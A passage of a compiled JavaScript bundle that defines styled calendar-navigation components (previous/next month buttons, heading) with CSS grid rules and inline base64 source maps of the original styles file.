39907 })("column-gap:", space(2), ";display:grid;grid-template-columns:0.5fr repeat( 5, 1fr ) 0.5fr;justify-items:center;margin-bottom:", space(4), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrQnlDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi8uLi9idXR0b24nO1xuaW1wb3J0IHsgYm94U2l6aW5nUmVzZXQsIENPTE9SUywgQ09ORklHIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vLi4vaC1zdGFjayc7XG5pbXBvcnQgeyBIZWFkaW5nIH0gZnJvbSAnLi4vLi4vaGVhZGluZyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdG9yID0gc3R5bGVkKCBIU3RhY2sgKWBcblx0Y29sdW1uLWdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXHRkaXNwbGF5OiBncmlkO1xuXHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDAuNWZyIHJlcGVhdCggNSwgMWZyICkgMC41ZnI7XG5cdGp1c3RpZnktaXRlbXM6IGNlbnRlcjtcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFZpZXdQcmV2aW91c01vbnRoQnV0dG9uID0gc3R5bGVkKCBCdXR0b24gKWBcblx0Z3JpZC1jb2x1bW46IDEgLyAyO1xuYDtcblxuZXhwb3J0IGNvbnN0IFZpZXdOZXh0TW9udGhCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHRncmlkLWNvbHVtbjogNyAvIDg7XG5gO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdG9ySGVhZGluZyA9IHN0eWxlZCggSGVhZGluZyApYFxuXHRmb250LXNpemU6ICR7IENPTkZJRy5mb250U2l6ZSB9O1xuXHRmb250LXdlaWdodDogJHsgQ09ORklHLmZvbnRXZWlnaHQgfTtcblx0Z3JpZC1jb2x1bW46IDIgLyA3O1xuXG5cdHN0cm9uZyB7XG5cdFx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0SGVhZGluZyB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgQ2FsZW5kYXIgPSBzdHlsZWQuZGl2YFxuXHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggMiApIH07XG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMC41ZnIgcmVwZWF0KCA1LCAxZnIgKSAwLjVmcjtcblx0anVzdGlmeS1pdGVtczogY2VudGVyO1xuXHRyb3ctZ2FwOiAkeyBzcGFjZSggMiApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgRGF5T2ZXZWVrID0gc3R5bGVkLmRpdmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSB9O1xuXHRmb250LXNpemU6ICR7IENPTkZJRy5mb250U2l6ZSB9O1xuXHRsaW5lLWhlaWdodDogJHsgQ09ORklHLmZvbnRMaW5lSGVpZ2h0QmFzZSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IERheUJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uLCB7XG5cdHNob3VsZEZvcndhcmRQcm9wOiAoIHByb3A6IHN0cmluZyApID0+XG5cdFx0ISBbICdjb2x1bW4nLCAnaXNTZWxlY3RlZCcsICdpc1RvZGF5JywgJ2hhc0V2ZW50cycgXS5pbmNsdWRlcyggcHJvcCApLFxufSApPCB7XG5cdGNvbHVtbjogbnVtYmVyO1xuXHRpc1NlbGVjdGVkOiBib29sZWFuO1xuXHRpc1RvZGF5OiBib29sZWFuO1xuXHRoYXNFdmVudHM6IGJvb2xlYW47XG59ID5gXG5cdGdyaWQtY29sdW1uOiAkeyAoIHByb3BzICkgPT4gcHJvcHMuY29sdW1uIH07XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cblx0JHsgKCBwcm9wcyApID0+XG5cdFx0cHJvcHMuZGlzYWJsZWQgJiZcblx0XHRgXG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0YCB9XG5cblx0JiYmIHtcblx0XHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzUm91bmQgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCA3ICkgfTtcblx0XHR3aWR0aDogJHsgc3BhY2UoIDcgKSB9O1xuXHRcdGZvbnQtd2VpZ2h0OiA0MDA7XG5cblx0XHQkeyAoIHByb3BzICkgPT5cblx0XHRcdHByb3BzLmlzU2VsZWN0ZWQgJiZcblx0XHRcdGBcblx0XHRcdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXG5cdFx0XHRcdCYsXG5cdFx0XHRcdCY6aG92ZXI6bm90KDpkaXNhYmxlZCwgW2FyaWEtZGlzYWJsZWQ9dHJ1ZV0pIHtcblx0XHRcdFx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudEludmVydGVkIH07XG5cdFx0XHRcdH1cblxuXHRcdFx0XHQmOmZvY3VzOm5vdCg6ZGlzYWJsZWQpLFxuXHRcdFx0XHQmOmZvY3VzOm5vdCg6ZGlzYWJsZWQpIHtcblx0XHRcdFx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gc29saWQgY3VycmVudENvbG9yO1xuXHRcdFx0XHR9XG5cblx0XHRcdFx0LyogSGlnaGxpZ2h0IHRoZSBzZWxlY3RlZCBkYXkgZm9yIGhpZ2gtY29udHJhc3QgbW9kZSAqL1xuXHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0Y29udGVudDogJyc7XG5cdFx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdFx0XHRcdGluc2V0OiAwO1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdFx0XHRcdFx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdH1cblx0XHRcdGAgfVxuXG5cdFx0JHsgKCBwcm9wcyApID0+XG5cdFx0XHQhIHByb3BzLmlzU2VsZWN0ZWQgJiZcblx0XHRcdHByb3BzLmlzVG9kYXkgJiZcblx0XHRcdGBcblx0XHRcdGJhY2tncm91bmQ6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAyMDAgXSB9O1xuXHRcdFx0YCB9XG5cdH1cblxuXHQkeyAoIHByb3BzICkgPT5cblx0XHRwcm9wcy5oYXNFdmVudHMgJiZcblx0XHRgXG5cdFx0OjpiZWZvcmUge1xuXHRcdFx0Ym9yZGVyOiAycHggc29saWQgJHtcblx0XHRcdFx0cHJvcHMuaXNTZWxlY3RlZFxuXHRcdFx0XHRcdD8gQ09MT1JTLnRoZW1lLmFjY2VudEludmVydGVkXG5cdFx0XHRcdFx0OiBDT0xPUlMudGhlbWUuYWNjZW50XG5cdFx0XHR9O1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdFx0XHRjb250ZW50OiBcIiBcIjtcblx0XHRcdGxlZnQ6IDUwJTtcblx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIDlweCk7XG5cdFx0fVxuXHRcdGAgfVxuYDtcbiJdfQ== */"));
39908 var ViewPreviousMonthButton = /* @__PURE__ */ createStyled(button_default, false ? {
39909 target: "e105ri6r5"
39910 } : {
39911 target: "e105ri6r5",
39912 label: "ViewPreviousMonthButton"
39913 })(false ? {
39914 name: "sarfoe",
39915 styles: "grid-column:1/2"
39916 } : {
39917 name: "sarfoe",
39918 styles: "grid-column:1/2/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwQnVEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi8uLi9idXR0b24nO1xuaW1wb3J0IHsgYm94U2l6aW5nUmVzZXQsIENPTE9SUywgQ09ORklHIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vLi4vaC1zdGFjayc7XG5pbXBvcnQgeyBIZWFkaW5nIH0gZnJvbSAnLi4vLi4vaGVhZGluZyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdG9yID0gc3R5bGVkKCBIU3RhY2sgKWBcblx0Y29sdW1uLWdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXHRkaXNwbGF5OiBncmlkO1xuXHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDAuNWZyIHJlcGVhdCggNSwgMWZyICkgMC41ZnI7XG5cdGp1c3RpZnktaXRlbXM6IGNlbnRlcjtcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFZpZXdQcmV2aW91c01vbnRoQnV0dG9uID0gc3R5bGVkKCBCdXR0b24gKWBcblx0Z3JpZC1jb2x1bW46IDEgLyAyO1xuYDtcblxuZXhwb3J0IGNvbnN0IFZpZXdOZXh0TW9udGhCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHRncmlkLWNvbHVtbjogNyAvIDg7XG5gO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdG9ySGVhZGluZyA9IHN0eWxlZCggSGVhZGluZyApYFxuXHRmb250LXNpemU6ICR7IENPTkZJRy5mb250U2l6ZSB9O1xuXHRmb250LXdlaWdodDogJHsgQ09ORklHLmZvbnRXZWlnaHQgfTtcblx0Z3JpZC1jb2x1bW46IDIgLyA3O1xuXG5cdHN0cm9uZyB7XG5cdFx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0SGVhZGluZyB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgQ2FsZW5kYXIgPSBzdHlsZWQuZGl2YFxuXHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggMiApIH07XG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMC41ZnIgcmVwZWF0KCA1LCAxZnIgKSAwLjVmcjtcblx0anVzdGlmeS1pdGVtczogY2VudGVyO1xuXHRyb3ctZ2FwOiAkeyBzcGFjZSggMiApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgRGF5T2ZXZWVrID0gc3R5bGVkLmRpdmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSB9O1xuXHRmb250LXNpemU6ICR7IENPTkZJRy5mb250U2l6ZSB9O1xuXHRsaW5lLWhlaWdodDogJHsgQ09ORklHLmZvbnRMaW5lSGVpZ2h0QmFzZSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IERheUJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uLCB7XG5cdHNob3VsZEZvcndhcmRQcm9wOiAoIHByb3A6IHN0cmluZyApID0+XG5cdFx0ISBbICdjb2x1bW4nLCAnaXNTZWxlY3RlZCcsICdpc1RvZGF5JywgJ2hhc0V2ZW50cycgXS5pbmNsdWRlcyggcHJvcCApLFxufSApPCB7XG5cdGNvbHVtbjogbnVtYmVyO1xuXHRpc1NlbGVjdGVkOiBib29sZWFuO1xuXHRpc1RvZGF5OiBib29sZWFuO1xuXHRoYXNFdmVudHM6IGJvb2xlYW47XG59ID5gXG5cdGdyaWQtY29sdW1uOiAkeyAoIHByb3BzICkgPT4gcHJvcHMuY29sdW1uIH07XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cblx0JHsgKCBwcm9wcyApID0+XG5cdFx0cHJvcHMuZGlzYWJsZWQgJiZcblx0XHRgXG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0YCB9XG5cblx0JiYmIHtcblx0XHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzUm91bmQgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCA3ICkgfTtcblx0XHR3aWR0aDogJHsgc3BhY2UoIDcgKSB9O1xuXHRcdGZvbnQtd2VpZ2h0OiA0MDA7XG5cblx0XHQkeyAoIHByb3BzICkgPT5cblx0XHRcdHByb3BzLmlzU2VsZWN0ZWQgJiZcblx0XHRcdGBcblx0XHRcdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXG5cdFx0XHRcdCYsXG5cdFx0XHRcdCY6aG92ZXI6bm90KDpkaXNhYmxlZCwgW2FyaWEtZGlzYWJsZWQ9dHJ1ZV0pIHtcblx0XHRcdFx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudEludmVydGVkIH07XG5cdFx0XHRcdH1cblxuXHRcdFx0XHQmOmZvY3VzOm5vdCg6ZGlzYWJsZWQpLFxuXHRcdFx0XHQmOmZvY3VzOm5vdCg6ZGlzYWJsZWQpIHtcblx0XHRcdFx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gc29saWQgY3VycmVudENvbG9yO1xuXHRcdFx0XHR9XG5cblx0XHRcdFx0LyogSGlnaGxpZ2h0IHRoZSBzZWxlY3RlZCBkYXkgZm9yIGhpZ2gtY29udHJhc3QgbW9kZSAqL1xuXHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0Y29udGVudDogJyc7XG5cdFx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdFx0XHRcdGluc2V0OiAwO1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdFx0XHRcdFx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdH1cblx0XHRcdGAgfVxuXG5cdFx0JHsgKCBwcm9wcyApID0+XG5cdFx0XHQhIHByb3BzLmlzU2VsZWN0ZWQgJiZcblx0XHRcdHByb3BzLmlzVG9kYXkgJiZcblx0XHRcdGBcblx0XHRcdGJhY2tncm91bmQ6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAyMDAgXSB9O1xuXHRcdFx0YCB9XG5cdH1cblxuXHQkeyAoIHByb3BzICkgPT5cblx0XHRwcm9wcy5oYXNFdmVudHMgJiZcblx0XHRgXG5cdFx0OjpiZWZvcmUge1xuXHRcdFx0Ym9yZGVyOiAycHggc29saWQgJHtcblx0XHRcdFx0cHJvcHMuaXNTZWxlY3RlZFxuXHRcdFx0XHRcdD8gQ09MT1JTLnRoZW1lLmFjY2VudEludmVydGVkXG5cdFx0XHRcdFx0OiBDT0xPUlMudGhlbWUuYWNjZW50XG5cdFx0XHR9O1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdFx0XHRjb250ZW50OiBcIiBcIjtcblx0XHRcdGxlZnQ6IDUwJTtcblx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIDlweCk7XG5cdFx0fVxuXHRcdGAgfVxuYDtcbiJdfQ== */",
39919 toString: _EMOTION_STRINGIFIED_CSS_ERROR__28
39920 });
39921 var ViewNextMonthButton = /* @__PURE__ */ createStyled(button_default, false ? {
39922 target: "e105ri6r4"
39923 } : {
39924 target: "e105ri6r4",
39925 label: "ViewNextMonthButton"
39926 })(false ? {
39927 name: "1v98r3z",
39928 styles: "grid-column:7/8"
39929 } : {
39930 name: "1v98r3z",
39931 styles: "grid-column:7/8/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE4Qm1EIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi8uLi9idXR0b24nO1xuaW1wb3J0IHsgYm94U2l6aW5nUmVzZXQsIENPTE9SUywgQ09ORklHIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vLi4vaC1zdGFjayc7XG5pbXBvcnQgeyBIZWFkaW5nIH0gZnJvbSAnLi4vLi4vaGVhZGluZyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdG9yID0gc3R5bGVkKCBIU3RhY2sgKWBcblx0Y29sdW1uLWdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXHRkaXNwbGF5OiBncmlkO1xuXHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDAuNWZyIHJlcGVhdCggNSwgMWZyICkgMC41ZnI7XG5cdGp1c3RpZnktaXRlbXM6IGNlbnRlcjtcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFZpZXdQcmV2aW91c01vbnRoQnV0dG9uID0gc3R5bGVkKCBCdXR0b24gKWBcblx0Z3JpZC1jb2x1bW46IDEgLyAyO1xuYDtcblxuZXhwb3J0IGNvbnN0IFZpZXdOZXh0TW9udGhCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHRncmlkLWNvbHVtbjogNyAvIDg7XG5gO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdG9ySGVhZGluZyA9IHN0eWxlZCggSGVhZGluZyApYFxuXHRmb250LXNpemU6ICR7IENPTkZJRy5mb250U2l6ZSB9O1xuXHRmb250LXdlaWdodDogJHsgQ09ORklHLmZvbnRXZWlnaHQgfTtcblx0Z3JpZC1jb2x1bW46IDIgLyA3O1xuXG5cdHN0cm9uZyB7XG5cdFx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0SGVhZGluZyB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgQ2FsZW5kYXIgPSBzdHlsZWQuZGl2YFxuXHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggMiApIH07XG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMC41ZnIgcmVwZWF0KCA1LCAxZnIgKSAwLjVmcjtcblx0anVzdGlmeS1pdGVtczogY2VudGVyO1xuXHRyb3ctZ2FwOiAkeyBzcGFjZSggMiApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgRGF5T2ZXZWVrID0gc3R5bGVkLmRpdmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSB9O1xuXHRmb250LXNpemU6ICR7IENPTkZJRy5mb250U2l6ZSB9O1xuXHRsaW5lLWhlaWdodDogJHsgQ09ORklHLmZvbnRMaW5lSGVpZ2h0QmFzZSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IERheUJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uLCB7XG5cdHNob3VsZEZvcndhcmRQcm9wOiAoIHByb3A6IHN0cmluZyApID0+XG5cdFx0ISBbICdjb2x1bW4nLCAnaXNTZWxlY3RlZCcsICdpc1RvZGF5JywgJ2hhc0V2ZW50cycgXS5pbmNsdWRlcyggcHJvcCApLFxufSApPCB7XG5cdGNvbHVtbjogbnVtYmVyO1xuXHRpc1NlbGVjdGVkOiBib29sZWFuO1xuXHRpc1RvZGF5OiBib29sZWFuO1xuXHRoYXNFdmVudHM6IGJvb2xlYW47XG59ID5gXG5cdGdyaWQtY29sdW1uOiAkeyAoIHByb3BzICkgPT4gcHJvcHMuY29sdW1uIH07XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cblx0JHsgKCBwcm9wcyApID0+XG5cdFx0cHJvcHMuZGlzYWJsZWQgJiZcblx0XHRgXG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0YCB9XG5cblx0JiYmIHtcblx0XHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzUm91bmQgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCA3ICkgfTtcblx0XHR3aWR0aDogJHsgc3BhY2UoIDcgKSB9O1xuXHRcdGZvbnQtd2VpZ2h0OiA0MDA7XG5cblx0XHQkeyAoIHByb3BzICkgPT5cblx0XHRcdHByb3BzLmlzU2VsZWN0ZWQgJiZcblx0XHRcdGBcblx0XHRcdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXG5cdFx0XHRcdCYsXG5cdFx0XHRcdCY6aG92ZXI6bm90KDpkaXNhYmxlZCwgW2FyaWEtZGlzYWJsZWQ9dHJ1ZV0pIHtcblx0XHRcdFx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudEludmVydGVkIH07XG5cdFx0XHRcdH1cblxuXHRcdFx0XHQmOmZvY3VzOm5vdCg6ZGlzYWJsZWQpLFxuXHRcdFx0XHQmOmZvY3VzOm5vdCg6ZGlzYWJsZWQpIHtcblx0XHRcdFx0XHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gc29saWQgY3VycmVudENvbG9yO1xuXHRcdFx0XHR9XG5cblx0XHRcdFx0LyogSGlnaGxpZ2h0IHRoZSBzZWxlY3RlZCBkYXkgZm9yIGhpZ2gtY29udHJhc3QgbW9kZSAqL1xuXHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0Y29udGVudDogJyc7XG5cdFx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdFx0XHRcdGluc2V0OiAwO1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdFx0XHRcdFx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdH1cblx0XHRcdGAgfVxuXG5cdFx0JHsgKCBwcm9wcyApID0+XG5cdFx0XHQhIHByb3BzLmlzU2VsZWN0ZWQgJiZcblx0XHRcdHByb3BzLmlzVG9kYXkgJiZcblx0XHRcdGBcblx0XHRcdGJhY2tncm91bmQ6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAyMDAgXSB9O1xuXHRcdFx0YCB9XG5cdH1cblxuXHQkeyAoIHByb3BzICkgPT5cblx0XHRwcm9wcy5oYXNFdmVudHMgJiZcblx0XHRgXG5cdFx0OjpiZWZvcmUge1xuXHRcdFx0Ym9yZGVyOiAycHggc29saWQgJHtcblx0XHRcdFx0cHJvcHMuaXNTZWxlY3RlZFxuXHRcdFx0XHRcdD8gQ09MT1JTLnRoZW1lLmFjY2VudEludmVydGVkXG5cdFx0XHRcdFx0OiBDT0xPUlMudGhlbWUuYWNjZW50XG5cdFx0XHR9O1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdFx0XHRjb250ZW50OiBcIiBcIjtcblx0XHRcdGxlZnQ6IDUwJTtcblx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIDlweCk7XG5cdFx0fVxuXHRcdGAgfVxuYDtcbiJdfQ== */",
39932 toString: _EMOTION_STRINGIFIED_CSS_ERROR__28
39933 });
39934 var NavigatorHeading = /* @__PURE__ */ createStyled(component_default19, false ? {
39935 target: "e105ri6r3"
39936 } : {
39937 target: "e105ri6r3",
39938 label: "NavigatorHeading"
39939 })("font-size:", config_values_default.fontSize, ";font-weight:", config_values_default.fontWeight, ";grid-column:2/7;strong{font-weight:", config_values_default.fontWeightHeading, ";}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrQ2lEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi8uLi9idXR0b24nO1xuaW1wb3J0IHsgYm94U2l6aW5nUmVzZXQsIENPTE9SUywgQ09ORklHIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vLi4vaC1zdGFjayc7XG5pbXBvcnQgeyBIZWFkaW5nIH0gZnJvbSAnLi4vLi4vaGVhZGluZyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQkeyBib3hTaXppbmdSZXNldCB9XG5gO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdG9yID0gc3R5bGVkKCBIU3RhY2sgKWBcblx0Y29sdW1uLWdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXHRkaXNwbGF5OiBncmlkO1xuXHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDAuNWZyIHJlcGVhdCggNSwgMWZyICkgMC41ZnI7XG5cdGp1c3RpZnktaXRlbXM6IGNlbnRlcjtcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFZpZXdQcmV2aW91c01vbnRoQnV0dG9uID0gc3R5bGVkKCBCdXR0b24gKWBcblx0Z3JpZC1jb2x1bW46IDEgLyAyO1xuYDtcblxuZXhwb3J0IGNvbnN0IFZpZXdOZXh0TW9udGhCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHRncmlkLWNvbHVtbjogNyAvIDg7XG5gO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdG9ySGVhZGluZyA9IHN0eWxlZCggSGVhZGluZyApYFxuXHRmb250LXNpemU6ICR7IENPTkZJRy5mb250U2l6ZSB9O1xuXHRmb250LXdlaWdodDogJHsgQ09ORklHLmZvbnRXZWlnaHQgfTtcblx0Z3JpZC1jb2x1bW46IDIgLyA3O1xuXG5cdHN0cm9uZyB7XG5cdFx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0SGVhZGluZyB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgQ2FsZW5kYXIgPSBzdHlsZWQuZGl2YFxuXHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggMiApIH07XG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMC41ZnIgcmVwZWF0KCA1LCAxZnIgKSA